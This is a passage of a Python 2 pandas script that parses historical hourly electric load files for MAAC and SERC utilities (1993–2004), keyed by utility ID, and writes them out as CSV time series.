2001 : pd.read_csv('%s/main/2001/AMER01' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('n/a', 0).astype(float).values,
2002 : pd.read_csv('%s/main/2002/AMER02' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values,
2003 : pd.read_csv('%s/main/2003/AMER03' % (fulldir), sep='\t', skiprows=1).iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values,
2004 : pd.read_csv('%s/main/2004/AMER04' % (fulldir), sep='\t', skiprows=1).iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values
},
4045 : {
2000 : pd.read_excel('%s/main/2000/CWL00' % (fulldir), skiprows=2).iloc[:, 1:].values.ravel(),
2001 : pd.read_excel('%s/main/2001/CWL01' % (fulldir), skiprows=1).iloc[:, 0].values,
2002 : pd.read_excel('%s/main/2002/CWL02' % (fulldir), header=None).iloc[:, 0].values,
2003 : pd.read_excel('%s/main/2003/CWL03' % (fulldir), header=None).iloc[:, 0].values
}
}
main[20847][1994][main[20847][1994] > 9000] = 0
main[20847][1995][main[20847][1995] > 9000] = 0
main[20847][1996][main[20847][1996] > 9000] = 0
if not os.path.exists('./main'):
os.mkdir('main')
for k in main.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(main[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(main[k][i]))) for i in main[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].astype(float).replace(0, np.nan)
s.to_csv('./main/%s.csv' % k)
# EEI
# Bizarre formatting until 1998
###### MAAC
# AE: 963
# BC: 1167
# DPL: 5027
# PU: 7088
# PN: 14715
# PE: 14940
# PEP: 15270
# PS: 15477
# PJM: 14725
# ALL UTILS
maac93 = pd.read_fwf('%s/maac/1993/PJM93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1)
maac94 = pd.read_fwf('%s/maac/1994/PJM94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1)
maac95 = pd.read_csv('%s/maac/1995/PJM95' % (fulldir), sep='\t', header=None, skipfooter=1)
maac96 = pd.read_csv('%s/maac/1996/PJM96' % (fulldir), sep='\t', header=None, skipfooter=1)
maac = {
963 : {
1993 : maac93[maac93[0].str.contains('AE')].iloc[:, 1:].values.ravel(),
1994 : maac94[maac94[0].str.contains('AE')].iloc[:, 1:].values.ravel(),
1995 : maac95[maac95[1].str.contains('AE')].iloc[:, 2:].values.ravel(),
1996 : maac96[maac96[1].str.contains('AE')].iloc[:, 2:].values.ravel(),
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='ACE_LOAD').iloc[:, 1:25].values.ravel()
},
1167 : {
1993 : maac93[maac93[0].str.contains('BC')].iloc[:, 1:].values.ravel(),
1994 : maac94[maac94[0].str.contains('BC')].iloc[:, 1:].values.ravel(),
1995 : maac95[maac95[1].str.contains('BC')].iloc[:, 2:].values.ravel(),
1996 : maac96[maac96[1].str.contains('BC')].iloc[:, 2:].values.ravel(),
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='BC_LOAD').iloc[:, 1:25].values.ravel()
},
5027 : {
1993 : maac93[maac93[0].str.contains('DP')].iloc[:, 1:].values.ravel(),
1994 : maac94[maac94[0].str.contains('DP')].iloc[:, 1:].values.ravel(),
1995 : maac95[maac95[1].str.contains('DP')].iloc[:, 2:].values.ravel(),
1996 : maac96[maac96[1].str.contains('DP')].iloc[:, 2:].values.ravel(),
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='DPL_LOAD').iloc[:366, 1:25].values.ravel()
},
7088 : {
1993 : maac93[maac93[0].str.contains('PU')].iloc[:, 1:].values.ravel(),
1994 : maac94[maac94[0].str.contains('PU')].iloc[:, 1:].values.ravel(),
1995 : maac95[maac95[1].str.contains('PU')].iloc[:, 2:].values.ravel(),
1996 : maac96[maac96[1].str.contains('PU')].iloc[:, 2:].values.ravel(),
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='GPU_LOAD').iloc[:366, 1:25].values.ravel()
},
14715 : {
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PN_LOAD').iloc[:366, 1:25].values.ravel()
},
14940 : {
1993 : maac93[maac93[0].str.contains('PE$')].iloc[:, 1:].values.ravel(),
1994 : maac94[maac94[0].str.contains('PE$')].iloc[:, 1:].values.ravel(),
1995 : maac95[maac95[1].str.contains('PE$')].iloc[:, 2:].values.ravel(),
1996 : maac96[maac96[1].str.contains('PE$')].iloc[:, 2:].values.ravel(),
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PE_Load').iloc[:366, 1:25].values.ravel()
},
15270 : {
1993 : maac93[maac93[0].str.contains('PEP')].iloc[:, 1:].values.ravel(),
1994 : maac94[maac94[0].str.contains('PEP')].iloc[:, 1:].values.ravel(),
1995 : maac95[maac95[1].str.contains('PEP')].iloc[:, 2:].values.ravel(),
1996 : maac96[maac96[1].str.contains('PEP')].iloc[:, 2:].values.ravel(),
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PEP_LOAD').iloc[:366, 1:25].values.ravel()
},
15477 : {
1993 : maac93[maac93[0].str.contains('PS')].iloc[:, 1:].values.ravel(),
1994 : maac94[maac94[0].str.contains('PS')].iloc[:, 1:].values.ravel(),
1995 : maac95[maac95[1].str.contains('PS')].iloc[:, 2:].values.ravel(),
1996 : maac96[maac96[1].str.contains('PS')].iloc[:, 2:].values.ravel(),
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PS_Load').iloc[:366, 1:25].values.ravel()
},
14725 : {
1993 : maac93[maac93[0].str.contains('PJM')].iloc[:, 1:].values.ravel(),
1994 : maac94[maac94[0].str.contains('PJM')].iloc[:, 1:].values.ravel(),
1995 : maac95[maac95[1].str.contains('PJM')].iloc[:, 2:].values.ravel(),
1996 : maac96[maac96[1].str.contains('PJM')].iloc[:, 2:].values.ravel(),
1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PJM_LOAD').iloc[:366, 1:25].values.ravel(),
1998 : pd.read_csv('%s/maac/1998/PJM98' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(),
1999 : pd.read_excel('%s/maac/1999/PJM99' % (fulldir), header=None)[2].values,
2000 : pd.read_excel('%s/maac/2000/PJM00' % (fulldir), header=None)[2].values
}
}
if not os.path.exists('./maac'):
os.mkdir('maac')
for k in maac.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(maac[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(maac[k][i]))) for i in maac[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].astype(float).replace(0, np.nan)
s.to_csv('./maac/%s.csv' % k)
###### SERC
# AEC: 189
# CPL: 3046
# CEPC: 40218
# CEPB: 3408
# MEMP: 12293
# DUKE: 5416
# FPWC: 6235 *
# FLINT: 6411
# GUC: 7639
# LCEC: 10857
# NPL: 13204
# OPC: 13994
# SCEG: 17539
# SCPS: 17543
# SMEA: 17568
# TVA: 18642
# VIEP: 19876
# WEMC: 20065
# DU: 4958
# AECI: 924
# ODEC-D: 402290
# ODEC-V: 402291
# ODEC: 40229
# SOCO-APCO: 195
# SOCO-GPCO: 7140
# SOCO-GUCO: 7801
# SOCO-MPCO: 12686
# SOCO-SECO: 16687 *?
serc = {
189 : {
1993 : pd.read_csv('%s/serc/1993/AEC93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(),
1994 : pd.read_csv('%s/serc/1994/AEC94' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(),
1995 : pd.read_csv('%s/serc/1995/AEC95' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=1).iloc[:, 1:].values.ravel(),
1996 : pd.read_csv('%s/serc/1996/AEC96' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(),
1997 : pd.read_csv('%s/serc/1997/AEC97' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(),
1998 : pd.read_csv('%s/serc/1998/AEC98' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(),
1999 : pd.read_csv('%s/serc/1999/AEC99' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=3).iloc[:, 1:].values.ravel(),
2000 : pd.read_csv('%s/serc/2000/AEC00' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(),
2001 : pd.read_csv('%s/serc/2001/AEC01' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(),
2002 : pd.read_csv('%s/serc/2002/AEC02' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=4).iloc[:, 1:].values.ravel(),
2004 : pd.read_csv('%s/serc/2004/AEC04' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=4).iloc[:, 1:].values.ravel()
},
3046 : {
1994 : pd.read_csv('%s/serc/1994/CPL94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values,
1995 : pd.read_csv('%s/serc/1995/CPL95' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=5)[1].values,
1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/CEPL96' % (fulldir)).readlines()[1:]])[2].astype(float).values,
1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/CPL97' % (fulldir)).readlines()[1:]])[2].astype(float).values,
1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/CPL98' % (fulldir)).readlines()[1:]])[2].astype(float).values,
1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/CPL99' % (fulldir)).readlines()[1:]])[2].astype(float).values,
2000 : pd.read_excel('%s/serc/2000/CPL00' % (fulldir))['Load'].values,
2001 : pd.read_excel('%s/serc/2001/CPL01' % (fulldir))['Load'].values,
2002 : pd.read_excel('%s/serc/2002/CPL02' % (fulldir))['Load'].values,
2003 : pd.read_excel('%s/serc/2003/CPL03' % (fulldir))['Load'].values,
2004 : pd.read_excel('%s/serc/2004/CPL04' % (fulldir))['Load'].values
},
40218 : {
1993 : pd.read_fwf('%s/serc/1993/CEPC93' % (fulldir), header=None).iloc[:, 1:-1].values.ravel(),
1994 : pd.read_csv('%s/serc/1994/CEPC94' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=1).iloc[:, 1:-1].replace('.', '0').astype(float).values.ravel(),
1995 : pd.read_csv('%s/serc/1995/CEPC95' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:-1].replace('.', '0').astype(float).values.ravel(),
1996 : (pd.read_fwf('%s/serc/1996/CEPC96' % (fulldir)).iloc[:-1, 1:]/1000).values.ravel(),
1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/CEPC97' % (fulldir)).readlines()[5:]]).iloc[:-1, 1:].astype(float)/1000).values.ravel(),
1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/CEPC98' % (fulldir)).readlines()]).iloc[:, 1:].astype(float)).values.ravel(),
2000 : pd.read_excel('%s/serc/2000/CEPC00' % (fulldir), sheetname=1, skiprows=3)['MW'].values,
2001 : pd.read_excel('%s/serc/2001/CEPC01' % (fulldir), sheetname=1, skiprows=3)['MW'].values,
2002 : pd.read_excel('%s/serc/2002/CEPC02' % (fulldir), sheetname=0, skiprows=5)['MW'].values,
2002 : pd.read_excel('%s/serc/2002/CEPC02' % (fulldir), sheetname=0, skiprows=5)['MW'].values
},
3408 : {
1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/CEPB93' % (fulldir)).readlines()[12:]])[1].astype(float)/1000).values,
1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/CEPB94' % (fulldir)).readlines()[10:]])[1].astype(float)).values,
1995 : (pd.DataFrame([i.split() for i in open('%s/serc/1995/CEPB95' % (fulldir)).readlines()[6:]])[2].astype(float)).values,
1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/CEPB96' % (fulldir)).readlines()[10:]])[2].astype(float)).values,
1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/CEPB97' % (fulldir)).readlines()[9:]])[2].astype(float)).values,
1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/CEPB98' % (fulldir)).readlines()[9:]])[2].astype(float)).values,
1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/CEPB99' % (fulldir)).readlines()[8:]])[2].astype(float)).values,
2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/CEPB00' % (fulldir)).readlines()[11:]])[2].astype(float)).values,
2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/CEPB01' % (fulldir)).readlines()[8:]])[2].astype(float)).values,
2002 : (pd.DataFrame([i.split() for i in open('%s/serc/2002/CEPB02' % (fulldir)).readlines()[6:]])[4].astype(float)).values,
2003 : (pd.DataFrame([i.split() for i in open('%s/serc/2003/CEPB03' % (fulldir)).readlines()[6:]])[2].astype(float)).values
},
12293 : {
2000 : (pd.read_csv('%s/serc/2000/MEMP00' % (fulldir)).iloc[:, -1]/1000).values,
2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/MEMP01' % (fulldir)).readlines()[1:]])[3].str.replace(',', '').astype(float)/1000).values,
2002 : (pd.read_csv('%s/serc/2002/MEMP02' % (fulldir), sep='\t').iloc[:, -1].str.replace(',', '').astype(float)/1000).values,
2003 : pd.read_csv('%s/serc/2003/MEMP03' % (fulldir)).iloc[:, -1].str.replace(',', '').astype(float).values
},
5416 : {
1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/DUKE99' % (fulldir)).readlines()[4:]])[2].astype(float).values,
2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/DUKE00' % (fulldir)).readlines()[5:]])[2].astype(float).values,
2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/DUKE01' % (fulldir)).readlines()[5:]])[2].astype(float).values,
2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/DUKE02' % (fulldir)).readlines()[5:]])[2].astype(float).values,
2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/DUKE03' % (fulldir)).readlines()[5:-8]])[2].astype(float).values,
2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/DUKE04' % (fulldir)).readlines()[5:]])[2].astype(float).values
},
6411 : {
1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/FLINT93' % (fulldir)).readlines()])[6].astype(float)/1000).values,
1994 : ((pd.DataFrame([i.split() for i in open('%s/serc/1994/FLINT94' % (fulldir)).readlines()[:-1]])).iloc[:, -1].astype(float)/1000).values,
1995 : ((pd.DataFrame([i.split() for i in open('%s/serc/1995/FLINT95' % (fulldir)).readlines()[1:]]))[3].astype(float)/1000).values,
1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/FLINT96' % (fulldir)).readlines()[3:-2]]))[2].astype(float).values,
1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/FLINT97' % (fulldir)).readlines()[6:]]))[3].astype(float).values,
1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/FLINT98' % (fulldir)).readlines()[4:]]))[2].astype(float).values,
1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/FLINT99' % (fulldir)).readlines()[1:]]))[1].astype(float).values,
2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/FLINT00' % (fulldir)).readlines()[2:]]))[4].astype(float).values
},
7639 : {
1993 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1993', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1993', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000,
1994 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1994', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1994', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000,
1995 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1995', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1995', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000,
1996 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1996', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1996', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000,
1997 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1997', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1997', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000,
1998 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1998', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1998', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000,
1999 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1999', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1999', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000,
2000 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='2000', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='2000', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000,
},
10857 : {
1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/LCEC93' % (fulldir)).readlines()[:-1]]).iloc[:, 3:].astype(float).values.ravel(),
1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/LCEC94' % (fulldir)).readlines()[:-1]]).iloc[:, 3:].astype(float).values.ravel()
},
13204 : {
1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/NPL93' % (fulldir)).readlines()[6:]])[2].astype(float).values,
1994 : pd.read_fwf('%s/serc/1994/NPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel()
},
13994 : {
1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/OPC93' % (fulldir)).readlines()[4:-1]]).iloc[:, 1:].astype(float).values.ravel(),
1995 : pd.DataFrame([i.split() for i in open('%s/serc/1995/OPC95' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(),
1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/OPC96' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(),
1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/OPC97' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(),
1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/OPC98' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(),
1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/OPC99' % (fulldir)).readlines()[18:]])[2].astype(float).values,
2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/OPC00' % (fulldir)).readlines()[19:]])[2].astype(float).values
},
17539 : {
1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/SCEG93' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values,
1995 : pd.DataFrame([i.split() for i in open('%s/serc/1995/SCEG95' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values,
1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/SCEG96' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values,
1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/SCEG97' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values,
1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SCEG98' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values,
1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SCEG99' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values,
2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SCEG00' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values,
2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/SCEG01' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values
},
17543 : {
1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/SCPS93' % (fulldir)).readlines()[:]]).iloc[:, 1:].astype(float).values.ravel(),
1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/SCPS96' % (fulldir)).readlines()[:-1]]).astype(float).values.ravel(),
1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/SCPS97' % (fulldir)).readlines()[1:-3]]).iloc[:, 4:-1].astype(float).values.ravel(),
1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SCPS98' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].replace('NA', '0').astype(float).values.ravel(),
1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SCPS99' % (fulldir)).readlines()[1:-1]]).iloc[:, 2:-1].replace('NA', '0').astype(float).values.ravel(),
2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SCPS00' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(),
2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/SCPS01' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(),
2002 : pd.read_excel('%s/serc/2002/SCPS02' % (fulldir), header=None).dropna(axis=1, how='all').iloc[:, 2:-1].values.ravel(),
2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/SCPS03' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(),
2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/SCPS04' % (fulldir)).readlines()[1:]]).iloc[:, 1:-1].replace('NA', '0').astype(float).values.ravel()
},
17568 : {
1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/SMEA93' % (fulldir)).readlines()[5:]])[2].astype(float)/1000).values.ravel(),
1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/SMEA94' % (fulldir)).readlines()[5:]]).iloc[:, -1].astype(float)).values,
1996 : ((pd.DataFrame([i.split() for i in open('%s/serc/1996/SMEA96' % (fulldir)).readlines()[:]])).iloc[:, -24:].astype(float)/1000).values.ravel(),
1997 : pd.read_excel('%s/serc/1997/SMEA97' % (fulldir), sheetname=1, header=None, skiprows=1).iloc[:, 1:].values.ravel(),
1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SMEA98' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(),
1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SMEA99' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(),
2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SMEA00' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(),
2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/SMEA02' % (fulldir)).readlines()[2:]])[2].astype(float).values.ravel(),
2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/SMEA03' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel()
},
18642 : {
1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/TVA93' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(),
1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/TVA94' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(),
1995 : (pd.DataFrame([i.split() for i in open('%s/serc/1995/TVA95' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(),
1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/TVA96' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(),
1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/TVA97' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(),
1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/TVA98' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(),
1999 : pd.read_excel('%s/serc/1999/TVA99' % (fulldir)).iloc[:, 2].astype(float).values,
2000 : pd.read_excel('%s/serc/2000/TVA00' % (fulldir)).iloc[:, 2].astype(float).values,
2001 : pd.read_excel('%s/serc/2001/TVA01' % (fulldir), header=None, skiprows=3).iloc[:, 2].astype(float).values,
2003 : pd.read_excel('%s/serc/2003/TVA03' % (fulldir)).iloc[:, -1].values
},
19876 : {
1993 : pd.read_fwf('%s/serc/1993/VIEP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/serc/1994/VIEP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/serc/1995/VIEP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/serc/1996/VIEP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/serc/1997/VIEP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1998 : pd.read_fwf('%s/serc/1998/VIEP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1999 : pd.read_fwf('%s/serc/1999/VIEP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/VIEP00' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(),
2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/VIEP01' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(),
2002 : (pd.DataFrame([i.split() for i in open('%s/serc/2002/VIEP02' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(),
2003 : (pd.DataFrame([i.split() for i in open('%s/serc/2003/VIEP03' % (fulldir)).readlines()[2:]])[3].astype(float)).values.ravel(),
2004 : (pd.DataFrame([i.split() for i in open('%s/serc/2004/VIEP04' % (fulldir)).readlines()[:]])[3].astype(float)).values.ravel()
},
20065 : {
1993 : pd.read_fwf('%s/serc/1993/WEMC93' % (fulldir), header=None).iloc[:, 1:].values.ravel(),
1995 : (pd.read_csv('%s/serc/1995/WEMC95' % (fulldir), skiprows=1, header=None, sep=' ', skipinitialspace=True)[3]/1000).values,
1996 : (pd.read_excel('%s/serc/1996/WEMC96' % (fulldir))['Load']/1000).values,
1997 : pd.read_excel('%s/serc/1997/WEMC97' % (fulldir), skiprows=4)['MW'].values,
1998 : pd.concat([pd.read_excel('%s/serc/1998/WEMC98' % (fulldir), sheetname=i).iloc[:, -1] for i in range(12)]).values,
1999 : pd.read_excel('%s/serc/1999/WEMC99' % (fulldir))['mwh'].values,
2000 : (pd.read_excel('%s/serc/2000/WEMC00' % (fulldir)).iloc[:, -1]/1000).values,
2001 : (pd.read_excel('%s/serc/2001/WEMC01' % (fulldir), header=None)[0]/1000).values
},
4958 : {
1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/DU99' % (fulldir)).readlines()[1:]]).iloc[:-1, 2:].apply(lambda x: x.str.replace('[,"]', '').str.strip()).astype(float)/1000).values.ravel(),
2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/DU00' % (fulldir)).readlines()[1:]]).iloc[:-1, 2:].apply(lambda x: x.str.replace('[,"]', '').str.strip()).astype(float)/1000).values.ravel(),
2003 : pd.read_excel('%s/serc/2003/DU03' % (fulldir)).iloc[:, -1].values
},
924 : {
1999 : pd.read_excel('%s/serc/1999/AECI99' % (fulldir))['CALoad'].values,
2001 : pd.read_excel('%s/serc/2001/AECI01' % (fulldir)).iloc[:, -1].values,
2002 : pd.Series(pd.read_excel('%s/serc/2002/AECI02' % (fulldir), skiprows=3).loc[:, 'Jan':'Dec'].values.ravel(order='F')).dropna().values
},
402290 : {
1996 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1996/ODECD96' % (fulldir)).readlines()[3:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1997 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1997/ODECD97' % (fulldir)).readlines()[4:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values,
